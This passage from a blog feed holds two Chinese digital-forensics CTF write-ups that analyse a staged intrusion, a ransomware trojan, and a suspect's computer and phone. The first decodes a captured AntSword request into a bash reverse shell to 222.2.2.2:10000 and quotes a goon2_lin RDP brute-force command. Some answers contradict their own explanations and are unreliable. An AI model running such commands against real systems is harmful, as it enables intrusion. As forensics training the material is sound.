/index.php/Admin/Admin/login.html记录，结合域名得到答案。<br/>11. 分析检材一，攻击者的IP地址是多少？<br/>222.2.2.2<br/>日志里起异常请求、尝试后台登录、利用漏洞写入木马的IP均为222.2.2.2<br/><img alt="assets/三月社团赛/file-20260329194554786.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-011-9d89c2a354.png"/><br/>12. 分析检材一，攻击者成功写入一句话木马的时间为？（格式：2021-01-01 21:30:01）<br/>2022-03-04 15:15:13<br/><img alt="assets/三月社团赛/file-20260329194611283.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-012-7a8292c903.png"/><br/>13. 综合分析，攻击者对内网其他设备进行爆破所字典文件文件名为？<br/>FastPwds.txt</p><p>想着在日志里找没找到，当时认为按理说爆破应该在本地储存字典，很疑惑，后来在esxi的渗透剂机里找，也没找到。后来学到是做了内网的横向渗透，目前能接触的机子只有web一台<br/>，是在web的shell里爆破，要把字典传到网站上，在网站目录下找：</p><p><img alt="assets/三月社团赛/file-20260329211034558.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-013-098c89c7f6.png"/></p><p>14. 综合分析，攻击者是利用哪条命令对内网其他设备进行爆破且成功的？<br/>./goon2_lin -ip 192.168.100.254 -mode rdp -user administrator -pfile FastPwds.txt<br/>（暂时没找到</p><p>15. 综合分析，爆破成功后，攻击者与内网服务器建立隧道，建立隧道的命令为？<br/>A.bash B.telnet C.exec D.ssh<br/><img alt="assets/三月社团赛/file-20260329211602869.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-014-db0b143853.png"/><br/>D？<br/><img alt="assets/三月社团赛/file-20260330202853542.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-015-b8ee9c0679.png"/><br/>复盘的时候kali坏了，估计是之前强制关了，顺便修了下<br/>也可以在kali里面看到：<br/><img alt="assets/三月社团赛/file-20260330203642223.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-016-827a9cc231.png"/><br/>该命令会在回连服务器（222.2.2.2）上监听本地端口22222，将所有到22222端口的流量转发到内网服务器192.168.100.254的3389端口（RDP服务）。</p><p>16. 接上题，该命令建立隧道后，攻击者可以在回连服务器的哪个端口访问到内网服务？<br/>22222<br/>如上题</p><p>17. 据公司管理员描述，该网站运行期间一直开启着流量抓包程序，找出该数据包，其文件名为<br/>tcpdump.cap<br/><img alt="assets/三月社团赛/file-20260330194234783.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-017-58be150beb.png"/><br/>简单过滤常用的数据包后缀</p><p>18. 分析上述数据包，发现违法攻击者对内网IP进行扫描所使用的工具名称是？<br/>goon2_lin<br/><img alt="assets/三月社团赛/file-20260330194857868.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-018-2ece26ab86.png"/><br/>流量中提取出文件，去bt里也能看到文件<br/>kali里也有提示</p><p>19. 分析上述数据包，黑客在检材一中使用了bash反弹shell，该反弹shell会将交互命令重定向至远端设备的哪个端口？<br/>10000<br/><img alt="assets/三月社团赛/file-20260330195832475.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-019-cf7a69a2b7.png"/><br/>Form item: "dbf9222af2b4dd" = "ZYY2QgIi93d3cvd3d3cm9vdC93d3cudHBzaG9wLmNvbSI7YmFzaCAtaT4mIC9kZXYvdGNwLzIyMi4yLjIuMi8xMDAwMCAwPiYxO2VjaG8gMWFmY2VhZTUwZDVhO3B3ZDtlY2hvIDk4OTY0M2Rl"<br/>Key: dbf9222af2b4dd<br/>Value: ZYY2QgIi93d3cvd3d3cm9vdC93d3cudHBzaG9wLmNvbSI7YmFzaCAtaT4mIC9kZXYvdGNwLzIyMi4yLjIuMi8xMDAwMCAwPiYxO2VjaG8gMWFmY2VhZTUwZDVhO3B3ZDtlY2hvIDk4OTY0M2Rl<br/><img alt="assets/三月社团赛/file-20260330201038171.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-020-25e02f10fa.png"/><br/>去掉前两位解密（蚁箭<br/>cd "/www/wwwroot/www.tpshop.com";bash -i&gt;&amp; /dev/tcp/222.2.2.2/10000 0&gt;&amp;1;echo 1afceae50d5a;pwd;echo 989643de<br/><img alt="assets/三月社团赛/file-20260330212530092.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-021-f46cfbbe66.png"/></p><p>20. 分析检材二，其计算机名为？<br/>WIN-CCGJNS8OESV<br/><img alt="assets/三月社团赛/file-20260329144027653.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-022-66abace892.png"/></p><p>21. 分析检材二，攻击者成功登陆该服务器的时间为？（格式：2021-01-01 01:01:01）<br/>2022-03-04 18:15:37<br/>筛选4624事件ID可查看登录成功的事件：<br/>但找到了两条登陆服务器的记录：<br/>-第一条（LogonType=3）：网络登录（如共享、远程文件访问等）。</p><ul><li>第二条（LogonType=10）：远程桌面登录（RDP）。<br/>通过记载命令的文件的创建时间来辅助推断<br/><img alt="assets/三月社团赛/file-20260330210914881.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-023-1b7cdd4ec3.png"/><br/><img alt="assets/三月社团赛/file-20260330211025534.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-024-12666d6343.png"/><br/>个人觉得应该在创建了之后，逻辑上感觉没必要连上服务器后再把指令放在桌面上。那么就是第一个时间。</li></ul><p>22. 分析检材二，用于管理检材一的远程连接工具名称为？<br/>finalshell</p><p>23. 分析检材二，其中记录的检材一服务器的密码登录密码为？<br/>Cse19981228</p><p><img alt="assets/三月社团赛/file-20260329200423514.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-025-e1c6a143ec.png"/></p><p>24. 分析检材二，勒索病毒程序的文件名为？<br/>encrypt_file.exe<br/>随便翻翻看到了</p><p>25. 分析检材二，该勒索病毒是通过哪个url链接下载的？<br/><a href="http://192.168.100.100/public/upload/encrypt_file.exe" rel="noopener nofollow" target="_blank">http://192.168.100.100/public/upload/encrypt_file.exe</a><br/><img alt="assets/三月社团赛/file-20260329200625515.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-026-79797ecad1.png"/></p><p>26. 请分析勒索病毒会加密哪些文件扩展名的文件？<br/>ABCD<br/>A.doc B.jpg C.png D.txt</p><p>27. 综合分析，并尝试解密文件“销售额.txt_encrypted”，其文件内容为？</p><p>28. 警方在检材二中发现木马程序，请找到木马文件名为<br/>exe.exe<br/>瞎掉了没看到那么大一个exe<br/>接下来展示ai神力<br/>29. 请分析木马程序，该木马以什么方式实现开机自启动？</p><p>A.注册表     B.计划任务 C.服务 D.脚本<br/> <br/> 行为分析（behavior summary）和注册表监控中显示，程序执行了写入注册表启动项的操作。木马在 <code>HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\EXE</code> 路径下写入了键值，利用 Windows <code>Run</code> 键实现了开机自启动（对应 MITRE ATT&amp;CK T1547.001 / T1060 持久化攻击手法）。<br/> <br/>30. 请分析木马程序，该程序会自动释放一配置文件，其配置文件的文件名为<br/>http_request.json</p><p><strong><code>http_request.json</code></strong>（或原文件 <code>4b18b84010c6af39_http_request.json</code>）<br/><strong>原因：</strong> 查看沙箱记录的释放文件（dropped files）列表，木马产生的落盘文件仅有两个：一个动态链接库载荷 <code>x64.dll</code>，以及一个明显为配置文件或记录请求结构的 <code>http_request.json</code>（放置于 <code>%TEMP%\http_request.json</code>）。该文件很可能是其使用的落地配置文件或是其通信时留下的序列化缓存。</p><p>31. 请分析木马程序，远程注入的模块文件名为？<br/><strong><code>x64.dll</code></strong></p><p>木马在运行期间向 <code>C:\Users\Administrator\AppData\Local\Temp\</code> 目录下释放了名为 <code>x64.dll</code> 的模块。这通常是其核心的恶意代码载荷（Payload），木马程序后续将其注入到了其他正常的系统进程中执行。<br/> <br/>32. 请分析木马程序，被远程注入的进程数量为？<br/>1<br/>报告中的进程跟踪树（behavior -&gt; processes）记录到：初始样本 <code>EXE.exe</code> 启动后，创建并拉起了一个系统自带的记事本进程 <code>notepad.exe</code>（PID：1036 / 2436），这属于木马常用的<strong>进程傀儡（Process Hollowing）或远程线程注入技术</strong>，来隐藏真实的恶意行为载体。被注入的目标进程数量有且仅有 1 个（<code>notepad.exe</code>）。</p><p>33. 请分析木马程序，该木马存在POST上传行为，请找出上传的目标IP<br/><code>222.2.2.21</code></p><p><strong>原因：</strong> 在报告的 Network（网络分析）模块中，HTTP 流量记录显示该程序对外发起了一个 <code>POST</code> 请求，目标 URL 为 <code>http://222.2.2.21/upload_data</code>，说明木马尝试将窃取的数据或主机信息上报至 IP 为 <code>222.2.2.21</code> 的 C2（控制）服务器。</p><p>34. 请分析木马配置文件，找出用户ID为？<br/>zhaohong<br/>在前面发现的配置文件中找<br/><img alt="assets/三月社团赛/file-20260401203738299.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-027-02789dbadb.png"/></p><p>35. 请分析木马配置文件，尝试解密“key”字段 的明文数据为？<br/>honglian70011111<br/>使用base64方式解码key字段可知</p><p>36. 请分析木马配置文件，尝试解密“tag_data” 字段的明文数据为？<br/>honglian<br/>在配置文件中找到加密方式为AES_CBC,KEY,IV值，进行解密<br/><img alt="assets/三月社团赛/file-20260401203844979.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-028-3948a49f43.png"/><br/><img alt="assets/三月社团赛/file-20260401203856172.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-029-cd26dae07b.png"/></p><p>37. 分析esxi虚拟化平台，其发行版本号为？<br/>6.7.0<br/><img alt="assets/三月社团赛/file-20260329200853519.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-030-1688678839.png"/><br/>38. 分析esxi虚拟化平台，其内部版本号为？<br/>8169922<br/><img alt="assets/三月社团赛/file-20260329200924961.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-031-38a9e47bed.png"/><br/>39. 分析esxi虚拟化平台，其管理页面登陆URL地址为？<br/><a href="https://222.2.2.250/ui/#/login" rel="noopener nofollow" target="_blank">https://222.2.2.250/ui/#/login</a><br/><img alt="assets/三月社团赛/file-20260329201030839.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-032-a024e3fac7.png"/><br/>40. 分析esxi虚拟化平台，/etc/exports是系统中哪个服务/程序的配置文件？<br/>nfs<br/>常识</p><p>41. 分析esxi虚拟化平台，其存储“datastore2”所指向的目录位置是？<br/>/vmfs/volumes/9af41fd8-941fbcd0<br/><img alt="assets/三月社团赛/file-20260329201111547.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-033-6f05f11488.png"/></p><p>42. 分析平台中的“渗透测试机”，其虚拟磁盘总容量为多少GB？<br/>80<br/><img alt="assets/三月社团赛/file-20260329201128136.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-034-63cdc6415c.png"/></p><p>43. 分析平台中的“渗透测试机”，攻击者是使用什么工具获取到检材一中被入侵网站的Webshell的？<br/><img alt="assets/三月社团赛/file-20260329170032407.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-035-9c3116968d.png"/></p><p>44. 分析平台中的“渗透测试机”，其网关IP是多少？<br/><strong>192.168.200.1</strong><br/>ifconfig一下就会看到是192.168.100.100</p><p>45. 分析“病毒研发机”，病毒开发者用于向gitlab提交代码的项目地址为？<br/><a href="http://192.168.200.1/cgi-bin/luci/admin/network/network" rel="noopener nofollow" target="_blank">http://192.168.200.1/cgi-bin/luci/admin/network/network</a><br/><img alt="assets/三月社团赛/file-20260401113153097.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-036-076eba7df0.png"/></p><p>46. 分析“病毒研发机”，病毒开发者访问gitlab的密码为？<br/>CLq3vWt7bbEly8fDbhSWayoFddAMOYB71s7dvydqc3k=<br/><img alt="assets/三月社团赛/file-20260401113120204.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-037-e9a1d83ee6.png"/></p><p>47. 分析“病毒研发机”，其中存在一档案系统网站，启动该网站的可执行程序名为？<br/>WEB服务启动程序.exe<img alt="assets/三月社团赛/file-20260401113312147.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-038-1fa9ce34c0.png"/></p><p>48. 接上题，该档案系统的网站后台采用哪种框架技术？<br/>A.thinkphp B.springboot C.nodejs D.vue<br/><img alt="assets/三月社团赛/file-20260401114241789.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-039-86c101b7c3.png"/><br/>B</p><p>49. 接上题，该档案系统的Mysql数据库连接密码为？<br/>123456<br/><img alt="assets/三月社团赛/file-20260401114622287.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-040-e93cb71415.png"/></p><p>50. 接上题，该档案系统后台对于账号的密码采用加盐加密，使用加密算法为？<br/>md5<br/><code>auth.userDetailsService(userService).passwordEncoder(new MessageDigestPasswordEncoder("MD5"));</code><br/>jadx分析application-0.0.1-SNAPSHOT.jar</p><p>51. 接上题，在档案系统中找出财务公司被盗取的文件数量为？（格式：数字）<br/>2<br/>看wp似乎进数据库，结合加密逻辑改密，进了后台看到是2个。当时没没做出来<br/><img alt="assets/三月社团赛/file-20260401202553281.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-041-20a8ee8282.png"/><br/>52. 接上题，该档案系统网站中，用户“zhaohong”所使用的APPID为？<br/>zhaohong_honglian<br/><img alt="assets/三月社团赛/file-20260401202602381.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-042-46e9d2adce.png"/><br/>同上题绕密进后台就可以看到</p><p>53. 分析“openwrt&amp;wireguard”虚拟机，服务器的外网IP的后台管理地址为？<br/><a href="http://222.2.2.2/cgi-bin/luci/" rel="noopener nofollow" target="_blank">http://222.2.2.2/cgi-bin/luci/</a></p><p>点开openwrt&amp;wireguard服务器内IP地址即可跳转后台地址<br/><img alt="assets/三月社团赛/file-20260329201625951.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-043-a680b6632b.png"/></p><p>54. 分析“openwrt&amp;wireguard”虚拟机，服务器的内核版本为？(格式：3.1.1)<br/>5.4.154<br/>uname -r<br/><img alt="assets/三月社团赛/file-20260329202654730.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-044-b82cae8d67.png"/></p><p>55. 分析“openwrt&amp;wireguard”虚拟机，之前配置过，现已禁用的DDNS域名地址为？<br/>yourhost.esirplayground.org<br/><img alt="assets/三月社团赛/file-20260329202853470.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-045-f755af8172.png"/><br/>56. 分析“openwrt&amp;wireguard”虚拟机，攻击者和勒索病毒开发者是通过哪种VPN协议连入内网的？<br/>wireguard<br/>虚拟机名称提示了（然而我没注意我是..)</p><p>57. 接上题，该服务监听哪个端口号？<br/>12345<br/>/etc/config/network（查看<br/><img alt="assets/三月社团赛/file-20260329203448100.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-046-c5e5856251.png"/><br/>可恶，早知道这么简单就不最后来做了，没时间做了</p><p>58. 对端设备连接“openwrt&amp;wireguard”虚拟机提供的服务，所需使用的公钥为？<br/>0DydALVvHHU1n+lHpVvaXqayllePKqsPRBbcVcBHLXE=<br/><img alt="assets/三月社团赛/file-20260329203649545.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-047-c4bd9c7feb.png"/><br/>59. 分析检材5，该手机中登录的QQ账号为？<br/>2678440406<br/><img alt="assets/三月社团赛/file-20260329203752586.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-048-ff46700a3c.png"/><br/>60. 分析检材5，机主老板的虚拟币钱包地址为？<br/>0xef9edf6cdacb7d925aee0f9bd607b544c5758850<br/><img alt="assets/三月社团赛/file-20260329203839402.png" loading="lazy" src="/blog/img/cnblogs/19808676/image-049-fe06e97d89.png"/></p><p>61. 分析检材5，手机中安装了一款包名为demo.honglian的手机应用，其安装包SHA256值是？<br/>d15c4d4a2f4dfb66872b70fe531ed680c66f36094821df946a1d6b719a49e8d2<br/>算就完了<br/>62. 上述应用安装后，程序名称为？<br/>密钥获取器V1.0<br/>略</p><h3 id="63-上述涉案apk的登陆用户名为">63. 上述涉案APK的登陆用户名为？</h3><p>honglian<br/>以下三题jadx分析，APK的包名为 demo.honglian</p><h3 id="64-上述apk的登陆密码加密方式为">64. 上述APK的登陆密码加密方式为？</h3><p>base64<br/>如下题</p><h3 id="65-上述apk的登陆密码明文为">65. 上述APK的登陆密码明文为？</h3><p>在DEX文件中找到Base64编码的字符串： MTIzNDU2aG9uZ2xpYW4=<br/>解码后得到明文密码： 123456honglian</p></div>]]>
    </content>
    <id>https://joyooosama.github.io/blog/2026/04/01/2026-04-01-cnblogs-19808676-%E4%B8%89%E6%9C%88%E7%A4%BE%E5%9B%A2%E8%B5%9B/</id>
    <link href="https://joyooosama.github.io/blog/2026/04/01/2026-04-01-cnblogs-19808676-%E4%B8%89%E6%9C%88%E7%A4%BE%E5%9B%A2%E8%B5%9B/"/>
    <published>2026-04-01T12:39:00.000Z</published>
    <summary>
      <![CDATA[Practice Skills in Sunny March &amp; CPPUISA 1.&#160;请计算检材一(WEB.E01)镜像文件的SHA256哈希值为? 25577741A65ED32A8605BD05EBDE0CD6E255C2226CDF3A92A876D51850C8C266]]>
    </summary>
    <title>三月社团赛</title>
    <updated>2026-04-01T12:39:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>Joyooo</name>
    </author>
    <category term="取证" scheme="https://joyooosama.github.io/blog/categories/%E5%8F%96%E8%AF%81/"/>
    <category term="取证" scheme="https://joyooosama.github.io/blog/tags/%E5%8F%96%E8%AF%81/"/>
    <category term="CTF" scheme="https://joyooosama.github.io/blog/tags/CTF/"/>
    <category term="逆向" scheme="https://joyooosama.github.io/blog/tags/%E9%80%86%E5%90%91/"/>
    <content>
      <![CDATA[<div class="blogpost-body cnblogs-markdown" id="cnblogs_post_body"><p>检材密码：<code>!fR7$pX3&amp;zT9@kL5*wV1#sG7%qD3^yA9(mB2)jN6~hY4+gC8dW2=eK5;fX7?vM3[oL9]tR4&#125;uS1&lt;yJ5&gt;iP8_bH3:zD6"nQ2'pF4lA7|sC1\wE9/rT3=vY6</code></p><h2 id="一-计算机取证让我们打一辈子取证好么">一、 计算机取证（让我们打一辈子取证好么~）</h2><p>贴脸开大（从没觉得做取证开心过doge）<br/><img alt="assets/2025数证决赛个人/file-20251209210824511.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-001-99a4ba5c7c.png"/><br/><img alt="assets/2025数证决赛个人/file-20251209210103370.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-002-4ed7c58efa.png"/><img alt="assets/2025数证决赛个人/file-20251209213216410.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-003-3d0d50fdf2.png"/><br/>这回试了试前两天看到的新功能，果然比较慢，目测没两个小时跑不完，不过好在一来就输出了答案<br/>仿真后如果需要关闭平板模式的，使用快捷键：win+A</p><ol><li><p>请分析计算机检材，用户曾远程连接过IP为192.168.114.51的主机，其远程登陆密码为多少？<br/>uika<br/><img alt="assets/2025数证决赛个人/file-20251210181150836.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-004-87260a5fcd.png"/></p></li><li><p>请分析计算机检材，发现嫌疑人有一定的密码构造习惯，依据其密码使用习惯找出嫌疑人购买拷贝的公民信息表格的密码。<br/><img alt="assets/2025数证决赛个人/file-20251210181407515.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-005-d91619460e.png"/><br/>经典浏览器打开发现构成很像<br/><img alt="assets/2025数证决赛个人/file-20251210181534178.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-006-07a1aeb278.png"/><br/>然后看到了这个表格<br/>爆破的设置：<br/>Doloris@<br/>Doloris@????<br/><img alt="assets/2025数证决赛个人/file-20251210182807290.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-007-6ab0cf6342.png"/><br/>密码就是Doloris@0721<br/>直接打不开，需要修复：<img alt="assets/2025数证决赛个人/file-20251210183646777.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-008-f94325c9cb.png"/></p></li><li><p>请分析计算机检材，其中有一模拟器备份文件，请找出用户常用笔记app锁定密码是多少？<br/><img alt="assets/2025数证决赛个人/file-20251210200108047.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-009-c7bc531662.png"/><br/>赛博厨子打开<br/>Prase QR Code，点normalise image<br/><img alt="assets/2025数证决赛个人/file-20251210201530182.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-010-6f4b89650e.png"/><br/>KFCVme50<br/>但不知道是不是<br/>还有一个残缺的，ps修复以后：<br/><img alt="assets/2025数证决赛个人/file-20251215203533155.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-011-f9fb11c60a.png"/><br/>解压密码：KFCVme50<br/>保险箱密码：我的模拟器被勒索的时间【格式：20251001】<br/><img alt="assets/2025数证决赛个人/file-20251215205643173.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-012-bc93b9b791.png"/><br/>这个是在数据库里看到的，我没什么思路，不知道为啥在这（藏在模拟器记事本备份）<br/>20250228</p></li><li><p>接上题，app中记录了保险箱密码，该密码是？<br/>MYGPS</p></li></ol><p><code>mt管理器导入数据库实现apk仿真：</code><br/><code>外部：/storage/emulated/0/Pictures/包名/</code><br/><code>内部：/data/data/</code><br/><code>把外部目录下的包文件直接放到内部这个data目录下</code><br/><code>然后重启软件就大概率可以</code></p><p><img alt="assets/2025数证决赛个人/file-20251210214230616.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-013-91b287439d.png"/><br/>上一题的数据库里可看<br/>下载里有个pdf，修复文件头出来这个<br/><img alt="assets/2025数证决赛个人/file-20251210181615910.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-014-b8e4148b30.png"/><br/><img alt="assets/2025数证决赛个人/file-20251216083222245.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-015-7110616f7d.png"/></p><ol start="6"><li><p>请分析模拟器备份，内部转账银行卡号是多少？</p></li><li><p>分析计算机检材，嫌疑人通过换脸软件一共生成了几张图片？<br/>5张<br/>在facefusion的output里面有5张</p></li><li><p>接上题，嫌疑人使用换脸软件过程中，选择次数最多的源图片名称？<br/>3d41fc4422dbc33a31ab182179b2117e.jpg<br/>五张中有两张是一样图源，打开photo文件夹找到这张图</p></li><li><p>接上题，嫌疑人使用换脸软件过程中，一共尝试了几种换脸模型？<br/><img alt="assets/2025数证决赛个人/file-20251216084432728.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-016-c5e600089c.png"/><br/>三种model<br/>在job的complete的文件夹里有日志</p></li><li><p>请分析计算机检材，嫌疑人有一个密码管理软件，记录了备用机密码，请找到该密码。<br/>锁定是keepass，然后快速访问里面有个kp.txt<br/>16161616<br/>打开软件后复制下来密码<br/>22E4828017</p></li><li><p>请分析计算机检材，找出文件MD5哈希值为d58c3e31ec6eaecb9026af9821dad645的文件，写出其文件名。<br/>index.4682354987edf.js<br/>法一：efdd<br/><img alt="assets/2025数证决赛个人/file-20251216122950811.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-017-1e52bde04d.png"/><br/>然后我们就打开了这个bitlocker盘<br/><img alt="assets/2025数证决赛个人/file-20251216140537860.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-018-929537a7ee.png"/><br/><img alt="assets/2025数证决赛个人/file-20251216140644559.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-019-07fdb00376.png"/><br/>找到了<br/>挂不起的时候：<img alt="assets/2025数证决赛个人/file-20251216155139977.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-020-618bcebba0.png"/><br/>这里不要初始化不然就废了<br/>后来发现是硬盘拔插的问题，重挂一下检材就好<br/>法二：lovelymem<br/><img alt="assets/2025数证决赛个人/file-20251216162839632.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-021-e5c4064adc.png"/><br/>找到了KVEK形式的密码<br/><img alt="assets/2025数证决赛个人/file-20251216164010075.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-022-7a8b1f69aa.png"/><br/>bdemount可以处理，懒得搞就没继续了</p></li><li><p>请分析计算机检材，找出虚拟硬盘内隐藏的VC容器，并使用公民信息表格中身份证号为明显伪造者的地址解密，回答该容器中包含多少个文件。<br/>4<br/>使用“刚买到的一会处理.xlsx”中明显位数不正常的身份证号码信息解密看到内部文件。容器密码：山东省济南市历下区经十路200号<br/><img alt="assets/2025数证决赛个人/file-20251216170848873.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-023-36ef24296f.png"/></p></li><li><p>对计算机检材进行分析，其中有个NAS存储，对NAS磁盘分析，找出姓名为"谢妍尚"的手机号。<br/>随便一翻就翻得到：<br/><img alt="assets/2025数证决赛个人/file-20251215201540264.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-024-88e7b17551.png"/><br/>然后ufs秒组<br/><img alt="assets/2025数证决赛个人/file-20251215201527693.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-025-35e2df34a8.png"/><br/>就这两个文件，一开始没找到，哪还找个vc，结果这个vc密钥文件根本没有用<br/><img alt="assets/2025数证决赛个人/file-20251216172701116.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-026-5a41c9fdf8.png"/><br/>在sheet3里，堂完了我。</p></li></ol><h2 id="移动终端取证">移动终端取证</h2><ol><li>分析手机检材，检材的MEID号是多少？<br/><img alt="assets/2025数证决赛个人/file-20251219192718626.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-027-d84ae657f8.png"/><br/>99001844373347</li><li>手机备忘录软件里有一串压缩包解密密码，请问密码是多少？<br/>备忘录统一搜note<br/><img alt="assets/2025数证决赛个人/file-20251219195339055.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-028-886d4b967b.png"/><br/>压缩包解密密码：xinglo-chat</li><li>手机曾安装过一个小众聊天软件，分析其APP的包名为？<br/>小众聊天搜搜chat<br/><img alt="assets/2025数证决赛个人/file-20251219195507432.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-029-e828926aa4.png"/><br/>com.xinglo.chat</li><li>小众聊天软件官网Email地址疑似被加密，请找出解密密钥(Key)为？<br/>前面的inote数据库能看到这条消息：</li></ol><pre><code>美好的一天从现在开始！unit AESDecrypt;interfaceuses  Windows, SysUtils, Classes, IdCoder, IdCoder3to4, IdCrypt, IdCryptAES;function DecryptAES(const Ciphertext, Key, IV: string): string;implementationfunction DecryptAES(const Ciphertext, Key, IV: string): string;var  AES: TIdAES;  Decoder: TIdBase64Decoder;  Input, Output, KeyBytes, IVBytes: TBytes;  InputStream, OutputStream: TStringStream;begin  Decoder := TIdBase64Decoder.Create(nil);  InputStream := TStringStream.Create(Ciphertext);  OutputStream := TStringStream.Create('');  try    Decoder.InputStream := InputStream;    Decoder.OutputStream := OutputStream;    Decoder.Decode;    Input := OutputStream.Bytes;  finally    Decoder.Free;    InputStream.Free;    OutputStream.Free;  end;  KeyBytes := TEncoding.UTF8.GetBytes(Key);  IVBytes := TEncoding.UTF8.GetBytes(IV);  AES := TIdAES.Create(nil);  try    AES.BlockSize := 128;    AES.KeySize := 128;    AES.Mode := cmCBC;    AES.Padding := padPKCS7;    AES.Key := KeyBytes;    AES.IV := IVBytes;    SetLength(Output, Length(Input));    AES.DecryptBuffer(Output[0], Input[0], Length(Input));    Result := TEncoding.UTF8.GetString(Output);  finally    AES.Free;  end;end;procedure TestDecrypt;var  Ciphertext, Key, IV, Plaintext: string;begin  Ciphertext := '';  '等待传参  Key := 'XingLuoChat2024!';  IV := '1234567890abcdef';  Plaintext := DecryptAES(Ciphertext, Key, IV);  ShowMessage(Plaintext);end;end.</code></pre><p>XingLuoChat2024!<br/>5. 接上题，请分析小众聊天软件官网的Email地址为？<br/>用ai写好解密脚本：</p><pre><code>import base64from Crypto.Cipher import AESfrom Crypto.Util.Padding import unpad  def decrypt_aes(ciphertext_b64, key_str, iv_str):    try:        # 1. 准备 Key 和 IV        key = key_str.encode('utf-8')        iv = iv_str.encode('utf-8')        # 2. Base64 解码密文        ciphertext = base64.b64decode(ciphertext_b64)        # 3. 初始化 AES Cipher (CBC模式)        cipher = AES.new(key, AES.MODE_CBC, iv)        # 4. 解密并去除填充 (PKCS7)        plaintext_padded = cipher.decrypt(ciphertext)        plaintext = unpad(plaintext_padded, AES.block_size)        return plaintext.decode('utf-8')    except Exception as e:        return f"解密失败: &#123;str(e)&#125;"  if __name__ == "__main__":    # 请在下方填入您要解密的 Base64 字符串    Ciphertext = ""  # &lt;--- 在这里填入密文    Key = "XingLuoChat2024!"    IV = "1234567890abcdef"    if not Ciphertext:        print("请先在代码中填入 Ciphertext (密文)")    else:        result = decrypt_aes(Ciphertext, Key, IV)        print(f"解密结果: &#123;result&#125;")</code></pre><p><img alt="assets/2025数证决赛个人/file-20251219201123756.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-030-d9a5df45f8.png"/><br/>缓存里看到一个前端的缓存，怀疑可以搞到官网网址<br/><img alt="assets/2025数证决赛个人/file-20251219201738029.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-031-0bb259018a.png"/><br/>看到邮箱旁边有隐藏内容：<br/><code>M2ZiMDExMWQ2ZWUwYzI5OWJhMzFjZmE3OTVhN2Q4YjAzNzY3N2ExOWE3NGI2MWI5N2Y0OWU4M2MwMWJiZTk3Ng==</code><br/>，拿去解密一下<br/><img alt="assets/2025数证决赛个人/file-20251219202901550.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-032-e6cc0b7444.png"/><br/>support@xingluochat.com</p><ol start="5"><li>在本案件中，张明向王芳已支付的总金额为多少元？<br/>在chat数据库里筛选出聊天记录，然后喂给ai</li></ol><pre><code>SELECT group_concat(content, char(10)) FROM chat_logs ORDER BY send_time ASC;</code></pre><p><img alt="assets/2025数证决赛个人/file-20251219204123153.png" loading="lazy" src="/blog/img/cnblogs/19686940/image-033-3b478dc288.png"/><br/>88万</p><ol 